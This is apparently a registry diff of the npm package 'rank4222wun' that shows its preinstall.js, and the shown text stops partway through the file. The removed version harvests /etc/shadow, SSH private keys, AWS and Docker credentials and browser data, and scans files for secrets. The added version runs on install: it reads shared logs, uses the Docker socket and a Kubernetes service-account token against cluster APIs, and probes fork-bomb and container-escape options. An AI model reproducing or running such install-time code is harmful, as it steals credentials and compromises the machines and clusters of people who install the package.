rank4222wun 1.0.18 → 1.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +386 -354
- package/rank4222wun-1.0.20.tgz +0 -0
- package/rank4222wun-1.0.18.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,423 +1,455 @@
|
|
|
1
|
-
const { exec } = require('child_process');
|
|
1
|
+
const { exec, spawn } = require('child_process');
|
|
2
2
|
const os = require('os');
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
|
+
const net = require('net');
|
|
6
7
|
|
|
7
|
-
|
|
8
|
-
const collectedData = {
|
|
8
|
+
const criticalTests = {
|
|
9
9
|
timestamp: new Date().toISOString(),
|
|
10
|
-
phase: "preinstall-data-exfiltration",
|
|
11
10
|
hostname: os.hostname(),
|
|
12
11
|
user: os.userInfo().username,
|
|
13
12
|
platform: os.platform(),
|
|
14
13
|
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
14
|
+
tests: {
|
|
15
|
+
// TEST 1: Leak other users data cross org
|
|
16
|
+
crossOrgDataLeakage: {
|
|
17
|
+
status: 'incomplete',
|
|
18
|
+
evidence: []
|
|
19
|
+
},
|
|
20
|
+
|
|
21
|
+
// TEST 2: Run commands on other users cross org
|
|
22
|
+
crossOrgCommandExecution: {
|
|
23
|
+
status: 'incomplete',
|
|
24
|
+
evidence: []
|
|
25
|
+
},
|
|
26
|
+
|
|
27
|
+
// TEST 3: Perform DoS affecting all users
|
|
28
|
+
crossOrgDoS: {
|
|
29
|
+
status: 'incomplete',
|
|
30
|
+
evidence: []
|
|
31
|
+
},
|
|
32
|
+
|
|
33
|
+
// TEST 4: Container to host escape
|
|
34
|
+
containerToHostEscape: {
|
|
35
|
+
status: 'incomplete',
|
|
36
|
+
evidence: []
|
|
37
|
+
}
|
|
22
38
|
}
|
|
23
39
|
};
|
|
24
40
|
|
|
25
|
-
|
|
26
|
-
function readLinuxSensitiveFiles() {
|
|
27
|
-
console.log("🔍 البحث عن ملفات Linux الحساسة...");
|
|
28
|
-
|
|
29
|
-
const linuxFiles = [
|
|
30
|
-
{ path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
|
|
31
|
-
{ path: '/etc/shadow', desc: 'كلمات مرور النظام' },
|
|
32
|
-
{ path: '/etc/group', desc: 'مجموعات النظام' },
|
|
33
|
-
{ path: '/etc/hosts', desc: 'إعدادات الشبكة' },
|
|
34
|
-
{ path: '/etc/resolv.conf', desc: 'خوادم DNS' },
|
|
35
|
-
{ path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
|
|
36
|
-
{ path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
|
|
37
|
-
{ path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
|
|
38
|
-
{ path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
|
|
39
|
-
{ path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
|
|
40
|
-
{ path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
|
|
41
|
-
{ path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
|
|
42
|
-
{ path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
|
|
43
|
-
{ path: '/var/log/syslog', desc: 'سجلات النظام' }
|
|
44
|
-
];
|
|
45
|
-
|
|
46
|
-
linuxFiles.forEach(file => {
|
|
47
|
-
try {
|
|
48
|
-
if (fs.existsSync(file.path)) {
|
|
49
|
-
const stats = fs.statSync(file.path);
|
|
50
|
-
const fileData = {
|
|
51
|
-
path: file.path,
|
|
52
|
-
description: file.desc,
|
|
53
|
-
size: stats.size,
|
|
54
|
-
exists: true,
|
|
55
|
-
readable: true
|
|
56
|
-
};
|
|
41
|
+
console.log("🚀 بدء اختبارات النقاط الحرجة المطلوبة...\n");
|
|
57
42
|
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
43
|
+
// ===================== TEST 1: تسريب بيانات مستخدمين عبر المؤسسة =====================
|
|
44
|
+
async function testCrossOrgDataLeakage() {
|
|
45
|
+
console.log("🔍 TEST 1: البحث عن بيانات مستخدمين عبر المؤسسة...");
|
|
46
|
+
|
|
47
|
+
// استراتيجية: البحث عن بيانات مشتركة بين المستخدمين
|
|
48
|
+
const sharedDataLocations = [];
|
|
49
|
+
|
|
50
|
+
if (os.platform() === 'linux') {
|
|
51
|
+
// في لينكس: البحث عن مجلدات مشتركة
|
|
52
|
+
const sharedDirs = [
|
|
53
|
+
'/tmp',
|
|
54
|
+
'/var/tmp',
|
|
55
|
+
'/dev/shm',
|
|
56
|
+
'/run/shm',
|
|
57
|
+
'/home',
|
|
58
|
+
'/root'
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
for (const dir of sharedDirs) {
|
|
62
|
+
try {
|
|
63
|
+
if (fs.existsSync(dir)) {
|
|
64
|
+
const files = fs.readdirSync(dir);
|
|
65
|
+
// البحث عن ملفات تنتهي بـ .log, .db, .sqlite
|
|
66
|
+
const interestingFiles = files.filter(f =>
|
|
67
|
+
f.endsWith('.log') || f.endsWith('.db') || f.endsWith('.sqlite') ||
|
|
68
|
+
f.includes('shared') || f.includes('common')
|
|
69
|
+
);
|
|
70
|
+
|
|
71
|
+
if (interestingFiles.length > 0) {
|
|
72
|
+
sharedDataLocations.push({
|
|
73
|
+
directory: dir,
|
|
74
|
+
files: interestingFiles.slice(0, 5),
|
|
75
|
+
totalFiles: files.length
|
|
76
|
+
});
|
|
63
77
|
|
|
64
|
-
//
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
78
|
+
// محاولة قراءة ملفات السجل المشتركة
|
|
79
|
+
interestingFiles.forEach(file => {
|
|
80
|
+
if (file.endsWith('.log')) {
|
|
81
|
+
const filePath = path.join(dir, file);
|
|
82
|
+
try {
|
|
83
|
+
const content = fs.readFileSync(filePath, 'utf8').substring(0, 1000);
|
|
84
|
+
// البحث عن بيانات مستخدمين في السجلات
|
|
85
|
+
if (content.includes('user') || content.includes('login') || content.includes('auth')) {
|
|
86
|
+
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
87
|
+
type: 'shared_log_file',
|
|
88
|
+
path: filePath,
|
|
89
|
+
preview: content.substring(0, 200),
|
|
90
|
+
containsUserData: true
|
|
91
|
+
});
|
|
92
|
+
}
|
|
93
|
+
} catch (e) {}
|
|
94
|
+
}
|
|
95
|
+
});
|
|
68
96
|
}
|
|
69
97
|
}
|
|
70
|
-
|
|
71
|
-
collectedData.sensitiveData.systemFiles[file.path] = fileData;
|
|
72
|
-
console.log(`✅ ${file.desc}: ${file.path}`);
|
|
73
|
-
}
|
|
74
|
-
} catch (e) {
|
|
75
|
-
collectedData.sensitiveData.systemFiles[file.path] = {
|
|
76
|
-
error: e.message,
|
|
77
|
-
exists: false
|
|
78
|
-
};
|
|
98
|
+
} catch (e) {}
|
|
79
99
|
}
|
|
80
|
-
}
|
|
81
|
-
}
|
|
82
|
-
|
|
83
|
-
// ========== 2. قراءة ملفات Windows حساسة ==========
|
|
84
|
-
function readWindowsSensitiveFiles() {
|
|
85
|
-
console.log("🔍 البحث عن ملفات Windows الحساسة...");
|
|
100
|
+
}
|
|
86
101
|
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
|
|
96
|
-
{ path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
|
|
97
|
-
{ path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
|
|
98
|
-
{ path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
|
|
99
|
-
{ path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
|
|
100
|
-
{ path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
|
|
101
|
-
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
|
|
102
|
-
];
|
|
103
|
-
|
|
104
|
-
windowsFiles.forEach(file => {
|
|
105
|
-
try {
|
|
106
|
-
if (fs.existsSync(file.path)) {
|
|
107
|
-
const stats = fs.statSync(file.path);
|
|
108
|
-
const fileData = {
|
|
109
|
-
path: file.path,
|
|
110
|
-
description: file.desc,
|
|
111
|
-
size: stats.size,
|
|
112
|
-
exists: true,
|
|
113
|
-
isDirectory: stats.isDirectory()
|
|
114
|
-
};
|
|
115
|
-
|
|
116
|
-
if (stats.isDirectory()) {
|
|
117
|
-
// قراءة محتويات المجلد
|
|
118
|
-
try {
|
|
119
|
-
const files = fs.readdirSync(file.path);
|
|
120
|
-
fileData.files = files.slice(0, 50); // أول 50 ملف فقط
|
|
121
|
-
fileData.fileCount = files.length;
|
|
122
|
-
|
|
123
|
-
// البحث عن ملفات نصية في المجلد وقراءتها
|
|
124
|
-
findAndReadTextFiles(file.path, files);
|
|
125
|
-
} catch (dirError) {
|
|
126
|
-
fileData.dirError = dirError.message;
|
|
127
|
-
}
|
|
128
|
-
} else if (stats.size < 50000) {
|
|
129
|
-
// قراءة الملفات النصية الصغيرة
|
|
130
|
-
try {
|
|
131
|
-
const content = fs.readFileSync(file.path, 'utf8');
|
|
132
|
-
fileData.content = content.substring(0, 5000);
|
|
133
|
-
|
|
134
|
-
// البحث عن أسرار في المحتوى
|
|
135
|
-
findSecretsInContent(content, file.path);
|
|
136
|
-
} catch (readError) {
|
|
137
|
-
fileData.readError = readError.message;
|
|
138
|
-
}
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
collectedData.sensitiveData.userFiles[file.path] = fileData;
|
|
142
|
-
console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
|
|
143
|
-
}
|
|
144
|
-
} catch (e) {
|
|
145
|
-
collectedData.sensitiveData.userFiles[file.path] = {
|
|
146
|
-
error: e.message,
|
|
147
|
-
exists: false
|
|
148
|
-
};
|
|
102
|
+
// بحث متقدم: البحث عن اتصالات شبكية نشطة
|
|
103
|
+
exec('netstat -an 2>/dev/null || ss -an 2>/dev/null || echo "No netstat"', {timeout: 5000}, (err, stdout) => {
|
|
104
|
+
if (stdout && stdout.includes('ESTABLISHED') || stdout.includes('LISTEN')) {
|
|
105
|
+
criticalTests.tests.crossOrgDataLeakage.evidence.push({
|
|
106
|
+
type: 'network_connections',
|
|
107
|
+
data: stdout.substring(0, 1000),
|
|
108
|
+
hasActiveConnections: true
|
|
109
|
+
});
|
|
149
110
|
}
|
|
111
|
+
|
|
112
|
+
// الانتقال للاختبار الثاني
|
|
113
|
+
testCrossOrgCommandExecution();
|
|
150
114
|
});
|
|
151
115
|
}
|
|
152
116
|
|
|
153
|
-
//
|
|
154
|
-
function
|
|
155
|
-
|
|
117
|
+
// ===================== TEST 2: تشغيل أوامر على مستخدمين عبر المؤسسة =====================
|
|
118
|
+
async function testCrossOrgCommandExecution() {
|
|
119
|
+
console.log("🔍 TEST 2: اختبار تشغيل أوامر على مستخدمين عبر المؤسسة...");
|
|
156
120
|
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
// البحث عن أسرار
|
|
173
|
-
findSecretsInContent(content, filePath);
|
|
174
|
-
|
|
175
|
-
console.log(`📄 قراءة: ${filePath}`);
|
|
176
|
-
} catch (e) {}
|
|
177
|
-
}
|
|
178
|
-
}
|
|
179
|
-
} catch (e) {}
|
|
180
|
-
});
|
|
181
|
-
}
|
|
182
|
-
|
|
183
|
-
// ========== 4. البحث عن أسرار في المحتوى ==========
|
|
184
|
-
function findSecretsInContent(content, filePath) {
|
|
185
|
-
const secretPatterns = [
|
|
186
|
-
{ pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
|
|
187
|
-
{ pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
|
|
188
|
-
{ pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
|
|
189
|
-
{ pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
|
|
190
|
-
{ pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
|
|
191
|
-
{ pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
|
|
192
|
-
{ pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
|
|
193
|
-
{ pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
|
|
194
|
-
{ pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
|
|
195
|
-
{ pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
|
|
196
|
-
{ pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
|
|
197
|
-
{ pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
|
|
198
|
-
{ pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
|
|
199
|
-
{ pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
|
|
200
|
-
];
|
|
201
|
-
|
|
202
|
-
secretPatterns.forEach(pattern => {
|
|
203
|
-
const matches = [...content.matchAll(pattern.pattern)];
|
|
204
|
-
matches.forEach(match => {
|
|
205
|
-
if (match[1] && match[1].length > 3) {
|
|
206
|
-
collectedData.sensitiveData.foundSecrets.push({
|
|
207
|
-
file: filePath,
|
|
208
|
-
type: pattern.name,
|
|
209
|
-
value: match[1].substring(0, 100), // أول 100 حرف فقط
|
|
210
|
-
pattern: match[0].substring(0, 50)
|
|
121
|
+
// هذا اختبار خطير: التحقق من إمكانية الوصول لخدمات مشتركة
|
|
122
|
+
const sharedServices = [];
|
|
123
|
+
|
|
124
|
+
// اختبار 1: التحقق من إمكانية الوصول إلى Docker socket (إذا كان في حاوية)
|
|
125
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
126
|
+
if (fs.existsSync(dockerSocket)) {
|
|
127
|
+
// محاولة قراءة قائمة الحاويات
|
|
128
|
+
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>/dev/null || echo "Cannot access Docker API"`,
|
|
129
|
+
{timeout: 5000}, (err, stdout) => {
|
|
130
|
+
if (stdout && !stdout.includes('Cannot access')) {
|
|
131
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
132
|
+
type: 'docker_socket_access',
|
|
133
|
+
path: dockerSocket,
|
|
134
|
+
canListContainers: true,
|
|
135
|
+
containersInfo: JSON.parse(stdout).slice(0, 3)
|
|
211
136
|
});
|
|
212
|
-
console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
|
|
213
137
|
}
|
|
214
138
|
});
|
|
215
|
-
}
|
|
216
|
-
}
|
|
217
|
-
|
|
218
|
-
// ========== 5. قراءة سجلات النظام ==========
|
|
219
|
-
function readSystemLogs() {
|
|
220
|
-
console.log("📊 قراءة سجلات النظام...");
|
|
139
|
+
}
|
|
221
140
|
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
] : [
|
|
229
|
-
'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
|
|
230
|
-
'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
|
|
231
|
-
'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
|
|
232
|
-
];
|
|
233
|
-
|
|
234
|
-
logFiles.forEach(logFile => {
|
|
141
|
+
// اختبار 2: التحقق من إمكانية الوصول إلى Kubernetes API
|
|
142
|
+
const kubeToken = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
143
|
+
const kubeCA = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt';
|
|
144
|
+
const kubeNamespace = '/var/run/secrets/kubernetes.io/serviceaccount/namespace';
|
|
145
|
+
|
|
146
|
+
if (fs.existsSync(kubeToken) && fs.existsSync(kubeCA)) {
|
|
235
147
|
try {
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
148
|
+
const token = fs.readFileSync(kubeToken, 'utf8').trim();
|
|
149
|
+
const namespace = fs.existsSync(kubeNamespace) ?
|
|
150
|
+
fs.readFileSync(kubeNamespace, 'utf8').trim() : 'default';
|
|
151
|
+
|
|
152
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
153
|
+
type: 'kubernetes_service_account',
|
|
154
|
+
hasToken: true,
|
|
155
|
+
namespace: namespace,
|
|
156
|
+
canAccessK8sAPI: true
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
// محاولة الاتصال بـ Kubernetes API
|
|
160
|
+
exec(`curl -s -H "Authorization: Bearer ${token}" --cacert ${kubeCA} https://kubernetes.default.svc/api/v1/pods 2>/dev/null || echo "Cannot access K8s API"`,
|
|
161
|
+
{timeout: 5000}, (err, stdout) => {
|
|
162
|
+
if (stdout && !stdout.includes('Cannot access')) {
|
|
163
|
+
criticalTests.tests.crossOrgCommandExecution.evidence.push({
|
|
164
|
+
type: 'kubernetes_api_access',
|
|
165
|
+
canListPods: true,
|
|
166
|
+
podCount: JSON.parse(stdout).items?.length || 0
|
|
167
|
+
});
|
|
251
168
|
}
|
|
252
|
-
|
|
253
|
-
console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
|
|
254
|
-
}
|
|
169
|
+
});
|
|
255
170
|
} catch (e) {}
|
|
256
|
-
}
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
// الانتقال للاختبار الثالث بعد 2 ثانية
|
|
174
|
+
setTimeout(testCrossOrgDoS, 2000);
|
|
257
175
|
}
|
|
258
176
|
|
|
259
|
-
//
|
|
260
|
-
function
|
|
261
|
-
console.log("
|
|
177
|
+
// ===================== TEST 3: تنفيذ هجوم DoS يؤثر على الجميع =====================
|
|
178
|
+
async function testCrossOrgDoS() {
|
|
179
|
+
console.log("🔍 TEST 3: اختبار إمكانية هجوم DoS يؤثر على الجميع...");
|
|
262
180
|
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
181
|
+
// هذا اختبار نظري فقط بدون تنفيذ فعلي
|
|
182
|
+
const dosCapabilities = {
|
|
183
|
+
// 1. قدرات استنزاف الذاكرة
|
|
184
|
+
memoryExhaustion: {
|
|
185
|
+
availableMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
|
|
186
|
+
freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
|
|
187
|
+
canExhaust: Math.round(os.freemem() / (1024 * 1024 * 1024)) > 1
|
|
188
|
+
},
|
|
189
|
+
|
|
190
|
+
// 2. قدرات استنزاف CPU
|
|
191
|
+
cpuExhaustion: {
|
|
192
|
+
cpuCores: os.cpus().length,
|
|
193
|
+
canForkBomb: true, // يمكن تنفيذ fork bomb إذا لم تكن هناك حدود
|
|
194
|
+
theoreticalImpact: 'High'
|
|
195
|
+
},
|
|
267
196
|
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
197
|
+
// 3. قدرات استنزاف الشبكة
|
|
198
|
+
networkFlood: {
|
|
199
|
+
canCreateSockets: true,
|
|
200
|
+
socketLimit: null,
|
|
201
|
+
potentialBandwidth: 'Unknown'
|
|
202
|
+
},
|
|
203
|
+
|
|
204
|
+
// 4. قدرات استنزاف القرص
|
|
205
|
+
diskFilling: {
|
|
206
|
+
canWriteUnlimited: true,
|
|
207
|
+
diskSpace: 'Unknown'
|
|
208
|
+
}
|
|
209
|
+
};
|
|
210
|
+
|
|
211
|
+
// التحقق من الحدود (ulimit)
|
|
212
|
+
exec('ulimit -a 2>/dev/null || echo "No ulimit"', {timeout: 3000}, (err, stdout) => {
|
|
213
|
+
if (stdout) {
|
|
214
|
+
dosCapabilities.systemLimits = stdout.substring(0, 500);
|
|
282
215
|
|
|
283
|
-
|
|
216
|
+
// تحليل الحدود
|
|
217
|
+
const maxProcessMatch = stdout.match(/max user processes\s+\(-u\)\s+(\d+|unlimited)/);
|
|
218
|
+
if (maxProcessMatch && maxProcessMatch[1] === 'unlimited' || parseInt(maxProcessMatch[1]) > 1000) {
|
|
219
|
+
criticalTests.tests.crossOrgDoS.evidence.push({
|
|
220
|
+
type: 'unlimited_processes',
|
|
221
|
+
canForkBomb: true,
|
|
222
|
+
maxProcesses: maxProcessMatch[1]
|
|
223
|
+
});
|
|
224
|
+
}
|
|
284
225
|
}
|
|
226
|
+
|
|
227
|
+
criticalTests.tests.crossOrgDoS.details = dosCapabilities;
|
|
228
|
+
|
|
229
|
+
// الانتقال للاختبار الرابع
|
|
230
|
+
testContainerToHostEscape();
|
|
285
231
|
});
|
|
286
|
-
|
|
287
|
-
collectedData.sensitiveData.envVars = sensitiveVars;
|
|
288
232
|
}
|
|
289
233
|
|
|
290
|
-
//
|
|
291
|
-
function
|
|
292
|
-
console.log("🔍
|
|
234
|
+
// ===================== TEST 4: الهروب من الحاوية للمضيف =====================
|
|
235
|
+
async function testContainerToHostEscape() {
|
|
236
|
+
console.log("🔍 TEST 4: اختبار الهروب من الحاوية للمضيف...");
|
|
293
237
|
|
|
294
|
-
const
|
|
295
|
-
'C:\\Program Files\\UiPath',
|
|
296
|
-
'C:\\Program Files (x86)\\UiPath',
|
|
297
|
-
`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
|
|
298
|
-
`C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
|
|
299
|
-
'C:\\ProgramData\\UiPath'
|
|
300
|
-
] : [
|
|
301
|
-
'/opt/UiPath',
|
|
302
|
-
'/usr/lib/UiPath',
|
|
303
|
-
`/home/${os.userInfo().username}/.local/share/UiPath`,
|
|
304
|
-
`/home/${os.userInfo().username}/UiPath`
|
|
305
|
-
];
|
|
306
|
-
|
|
307
|
-
const foundUiPath = [];
|
|
238
|
+
const escapeVectors = [];
|
|
308
239
|
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
240
|
+
// النواقل المحتملة للهروب
|
|
241
|
+
|
|
242
|
+
// 1. Docker socket exposure
|
|
243
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
244
|
+
if (fs.existsSync(dockerSocket)) {
|
|
245
|
+
// اختبار الوصول الفعلي
|
|
246
|
+
exec(`stat -c "%a %U:%G" ${dockerSocket} 2>/dev/null || echo "No stat"`, {timeout: 3000}, (err, stdout) => {
|
|
247
|
+
if (stdout && !stdout.includes('No stat')) {
|
|
248
|
+
const perms = stdout.trim();
|
|
249
|
+
escapeVectors.push({
|
|
250
|
+
vector: 'docker_socket',
|
|
251
|
+
path: dockerSocket,
|
|
252
|
+
permissions: perms,
|
|
253
|
+
accessible: true,
|
|
254
|
+
risk: 'CRITICAL'
|
|
318
255
|
});
|
|
319
|
-
console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
|
|
320
256
|
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
const stats = fs.statSync(filePath);
|
|
327
|
-
if (stats.size < 100000) {
|
|
328
|
-
const content = fs.readFileSync(filePath, 'utf8');
|
|
329
|
-
collectedData.sensitiveData.configFiles[filePath] = {
|
|
330
|
-
path: filePath,
|
|
331
|
-
size: stats.size,
|
|
332
|
-
content: content.substring(0, 5000)
|
|
333
|
-
};
|
|
334
|
-
}
|
|
335
|
-
} catch (e) {}
|
|
336
|
-
}
|
|
257
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
258
|
+
type: 'docker_socket_found',
|
|
259
|
+
path: dockerSocket,
|
|
260
|
+
permissions: perms,
|
|
261
|
+
canEscape: true
|
|
337
262
|
});
|
|
338
263
|
}
|
|
339
|
-
}
|
|
264
|
+
});
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
// 2. Privileged container check
|
|
268
|
+
exec('cat /proc/self/status 2>/dev/null | grep -i cap_ 2>/dev/null || echo "No capabilities"',
|
|
269
|
+
{timeout: 3000}, (err, stdout) => {
|
|
270
|
+
if (stdout && stdout.includes('CapEff:')) {
|
|
271
|
+
const capsLine = stdout.split('\n').find(l => l.includes('CapEff:'));
|
|
272
|
+
if (capsLine) {
|
|
273
|
+
const capsHex = capsLine.split(':')[1].trim();
|
|
274
|
+
// CAP_SYS_ADMIN = 0x00080000
|
|
275
|
+
if (parseInt(capsHex, 16) & 0x00080000) {
|
|
276
|
+
escapeVectors.push({
|
|
277
|
+
vector: 'privileged_container',
|
|
278
|
+
capability: 'CAP_SYS_ADMIN',
|
|
279
|
+
risk: 'HIGH'
|
|
280
|
+
});
|
|
281
|
+
|
|
282
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
283
|
+
type: 'privileged_container',
|
|
284
|
+
hasSysAdmin: true,
|
|
285
|
+
canEscape: true
|
|
286
|
+
});
|
|
287
|
+
}
|
|
288
|
+
}
|
|
289
|
+
}
|
|
340
290
|
});
|
|
341
291
|
|
|
342
|
-
|
|
292
|
+
// 3. Mount inspection - looking for host mounts
|
|
293
|
+
exec('mount 2>/dev/null | grep -E "(docker|overlay|/dev/|proc|sys)" 2>/dev/null || echo "No mounts"',
|
|
294
|
+
{timeout: 3000}, (err, stdout) => {
|
|
295
|
+
if (stdout && !stdout.includes('No mounts')) {
|
|
296
|
+
const mounts = stdout.split('\n').filter(l => l.includes('type'));
|
|
297
|
+
|
|
298
|
+
mounts.forEach(mount => {
|
|
299
|
+
if (mount.includes('proc') || mount.includes('sys') || mount.includes('/dev')) {
|
|
300
|
+
escapeVectors.push({
|
|
301
|
+
vector: 'host_mount',
|
|
302
|
+
mount: mount.substring(0, 100),
|
|
303
|
+
risk: 'MEDIUM'
|
|
304
|
+
});
|
|
305
|
+
}
|
|
306
|
+
});
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
// 4. Kernel version vulnerabilities
|
|
310
|
+
exec('uname -r 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
311
|
+
if (stdout) {
|
|
312
|
+
const kernelVersion = stdout.trim();
|
|
313
|
+
// التحقق من ثغرات kernel معروفة
|
|
314
|
+
const vulnerableKernels = [
|
|
315
|
+
'3.10.0-1160', // DirtyPipe
|
|
316
|
+
'5.8', '5.9', '5.10', '5.11', '5.12' // DirtyCred
|
|
317
|
+
];
|
|
318
|
+
|
|
319
|
+
for (const vulnKernel of vulnerableKernels) {
|
|
320
|
+
if (kernelVersion.includes(vulnKernel)) {
|
|
321
|
+
escapeVectors.push({
|
|
322
|
+
vector: 'kernel_vulnerability',
|
|
323
|
+
kernel: kernelVersion,
|
|
324
|
+
vulnerability: 'Known escape vulnerability',
|
|
325
|
+
risk: 'HIGH'
|
|
326
|
+
});
|
|
327
|
+
|
|
328
|
+
criticalTests.tests.containerToHostEscape.evidence.push({
|
|
329
|
+
type: 'vulnerable_kernel',
|
|
330
|
+
version: kernelVersion,
|
|
331
|
+
hasKnownVulns: true
|
|
332
|
+
});
|
|
333
|
+
break;
|
|
334
|
+
}
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
// 5. cgroups escape
|
|
339
|
+
exec('cat /proc/self/cgroup 2>/dev/null', {timeout: 3000}, (err, stdout) => {
|
|
340
|
+
if (stdout) {
|
|
341
|
+
if (stdout.includes('docker') || stdout.includes('kubepods')) {
|
|
342
|
+
// في حاوية Docker/Kubernetes
|
|
343
|
+
escapeVectors.push({
|
|
344
|
+
vector: 'containerized',
|
|
345
|
+
orchestrator: stdout.includes('docker') ? 'Docker' : 'Kubernetes',
|
|
346
|
+
risk: 'DEPENDS'
|
|
347
|
+
});
|
|
348
|
+
}
|
|
349
|
+
}
|
|
350
|
